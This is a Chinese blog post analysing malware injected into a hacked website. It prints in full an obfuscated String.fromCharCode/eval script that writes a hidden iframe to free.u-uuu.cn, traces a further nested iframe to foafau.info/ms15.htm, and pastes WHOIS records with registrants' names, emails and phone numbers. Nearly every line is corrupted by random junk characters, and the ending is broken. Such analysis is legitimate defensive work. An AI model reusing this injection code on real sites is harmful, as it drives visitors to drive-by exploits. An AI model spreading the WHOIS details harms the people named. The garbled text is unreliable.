首发在我的博客里面，
g2=}G <*0 i:d`{kJ|[ http://www.areway.cn/?p=175 t!{ x<9 tq&Y ek>C 333 u] 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
UfKkgq# hO6RQ0Iv@ <script>t=’60,105,102,114,97,109,101,
\i0-o8q@I 32,115,114,99,61,104,116,116,112,58,47,47,
s`c?: 102,114,101,101,46,117,45,117,117,117,46,99,
* Tp]h 0 110,47,101,114,114,111,114,46,104,116,109,
P>wZ~Hjk 32,119,105,100,116,104,61,49,48,48,32,104,
]RD5Ex!K? 101,105,103,104,116,61,48,62,60,47,105,102,
/lJjQ]c;> 114,97,109,101,62′;
z h%qS~8Yv t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
o@3B(j;J` =Z`0>R` <script>t=’60,105,102,114,97,109,101,32,115,
!BUi)mo 114,99,61,104,116,116,112,58,47,47,102,114,
t#5:\U5r. 101,101,46,117,45,117,117,117,46,99,110,47,
2r;GcjezH 101,114,114,111,114,46,104,116,109,32,119,
f=m/
-mAA 105,100,116,104,61,49,48,48,32,104,101,105,
uN bIX:L, 103,104,116,61,48,62,60,47,105,102,114,97,
&z>q#'X;. 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
JYV\oV{ document.write(t);</script>
tpo> 1| h<% U["
<html xmlns=”
F ;kv H http://www.w3.org/1999/xhtml L\L"mc|O “>
yW("G-Nm <head>
>vVw!.fJ <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
8=F %+ <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
}g{_AiP
rv <title>首页 - 爱生活家庭网
\Y e%o}.{ v`B4(P1Z 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
a,n93-m(m 转换字符串后的大概内容是（谁点击后果自付）：
ug#<LO-.Rd <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
c'0 5{C nxQ}&n 查询玉米u-uuu.cn的详细信息：
yM ,V rUh Domain Name: u-uuu.cn
[Oy >R
ROID: 20070901s10001s64972306-cn
fsvYU0L Domain Status: ok
Ae49n4J Registrant Organization: 王雷
:woa&(wN;1 Registrant Name: 王雷
4#:\?HAu! Administrative Email:
czlovexs@126.com vg(K$o{BT Sponsoring Registrar: 北京万网志成科技有限公司
c y1jZ1) Name Server:ns.yovole.com
zZ,Yfd |W Name Server:ns1.yovole.com
T"!EK & Registration Date: 2007-09-01 17:54
0=;YnsY Expiration Date: 2008-09-01 17:54
' msmXX@q 最后PING了一下地址 都没有什么….
2U9&l1P= 0M 8 .U 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
\ e,?r H <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
@\}YAa>>"I <script language=”javascript” src=”
|4Ha?W http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script F _ljx >
{oWsh)[x2 这个玉米应该有可能是木马作者的：
NHkL24ve foafau.info的详细信息：
h\y-L~2E Access to INFO WHOIS information is provided to assist persons in
&1GUi{I determining the contents of a domain name registration record in the
U8O( ;+ Afilias registry database. The data in this record is provided by
iP "EA8 Afilias Limited for informational purposes only, and Afilias does not
- _~)f{KN@ guarantee its accuracy. This service is intended only for query-based
NHiq^ojk access. You agree that you will use this data only for lawful purposes
)i!^]| $ and that, under no circumstances will you use this data to: (a) allow,
#D)x}#V\ enable, or otherwise support the transmission by e-mail, telephone, or
T=\!2gt facsimile of mass unsolicited, commercial advertising or solicitations
daX*}Ix to entities other than the data recipient’s own existing customers; or
iZ; TYcT (b) enable high volume, automated, electronic processes that send
Q2 \ queries or data to the systems of Registry Operator, a Registrar, or
j>'B [ Afilias except as reasonably necessary to register domain names or
Fu)Th|5GZ modify existing registrations. All rights reserved. Afilias reserves
)+Y&4Qu the right to modify these terms at any time. By submitting this query,
4P kfUMX you agree to abide by this policy.
gb 4pN Domain ID:D22418703-LRMS
+R[4\ hC0Y Domain Name:FOAFAU.INFO
!T 'X
' Q Created On:20-Nov-2007 16:05:42 UTC
7X'y>\^w^> Last Updated On:20-Nov-2007 16:05:44 UTC
EOVZGZF Expiration Date:20-Nov-2008 16:05:42 UTC
tWD|qg_ Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
RJc%,
]: Status:CLIENT DELETE PROHIBITED
1^{`lK ~2 Status:CLIENT RENEW PROHIBITED
i _U}{|j Status:CLIENT TRANSFER PROHIBITED
77Q}=80GU; Status:CLIENT UPDATE PROHIBITED
8/Rm!.8+~ Status:TRANSFER PROHIBITED
ixw(c&gL Registrant ID:GODA-040110615
p|VcMxT9- Registrant Name:liu hong
.3wY\W8Dr- Registrant Organization:
H_B~P%E@] Registrant Street1:beijing
P5URvEnz: Registrant Street2:
|9 ,UaA Registrant Street3:
v>-Y uS Registrant City:beijing
WE.Tuo5L Registrant State/Province:
B\_[R'Pf& Registrant Postal Code:100000
Y60"M4j Registrant Country:CN
y JD >ny Registrant Phone:+86.860108888777
xm^95}80yh Registrant Phone Ext.:
D ,M@8 h, Registrant FAX:
+hH}h ?K
Registrant FAX Ext.:
I; j3*lV_ Registrant Email:bbbshiji@163.com
0.DQO; Admin ID:GODA-240110615
w0I j'= : Admin Name:liu hong
JR1 *|u Admin Organization:
dlD}Ub Admin Street1:beijing
wk ikD Admin Street2:
+,_c/(P Admin Street3:
T[2}p=<% Admin City:beijing
dVGbe07 Admin State/Province:
|I1+" Mp Admin Postal Code:100000
gaeOgP.0 Admin Country:CN
Sdc*rpH"( Admin Phone:+86.860108888777
")M;+<c"l Admin Phone Ext.:
LK+felL Admin FAX:
9}
*$n&B Admin FAX Ext.:
( u f5\}x Admin Email:bbbshiji@163.com
=Ahw%`/&}] Billing ID:GODA-340110615
KO,_6>8]U Billing Name:liu hong
295w.X(J Billing Organization:
4VFc|g Billing Street1:beijing
E5{n?e Billing Street2:
kp`0erJqw Billing Street3:
t!jwY /T Billing City:beijing
Jsn <,4DO8 Billing State/Province:
RWik J Billing Postal Code:100000
u(hC^T1 Billing Country:CN
=|0/ Ynfe Billing Phone:+86.860108888777
h7?.2Q&S Billing Phone Ext.:
./.=Rw Billing FAX:
0j $ OE Billing FAX Ext.:
rzV"Dm$' Billing Email:bbbshiji@163.com
Yy@g9mi Tech ID:GODA-140110615
x,1=D~L} Tech Name:liu hong
XGIpU z Tech Organization:
XS|mKuMc C Tech Street1:beijing
F+*Q <a4 Tech Street2:
) `I=oB Tech Street3:
/{we;Ut=g Tech City:beijing
J3&Sj{ o Tech State/Province:
|nm2U y/ 0 Tech Postal Code:100000
1S*P"8N}0h Tech Country:CN
IJIQ"
s Tech Phone:+86.860108888777
][t 6VA Tech Phone Ext.:
b~as64 Tech FAX:
!KDr`CV& Tech FAX Ext.:
Tc_do"uU Tech Email:bbbshiji@163.com
8.2`~'V Name Server:NS27.DOMAINCONTROL.COM
(nz}J)T& Name Server:NS28.DOMAINCONTROL.COM
x@Vt[}e Name Server:
?9S+Cj` Name Server:
,'_( DJX Name Server:
2 ` &<bt[g Name Server:
(H-cDsh;c Name Server:
%M6
c0d[9- Name Server:
UoRDeYQ`E Name Server:
^4UcTjh Name Server:
8m7;x/0ld Name Server:
$_bZA;EMQ Name Server:
l0#4Fma Name Server:
97]4
:Zv ~o Fh>9u 接着下载每个文件里面的代码：
B _tQeM 一步一步看..
`WlH*p)z9 
J {!'f|
J 
sMX$Q45e 
K @C4*?P 
g? I!OG 
.FJ j 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
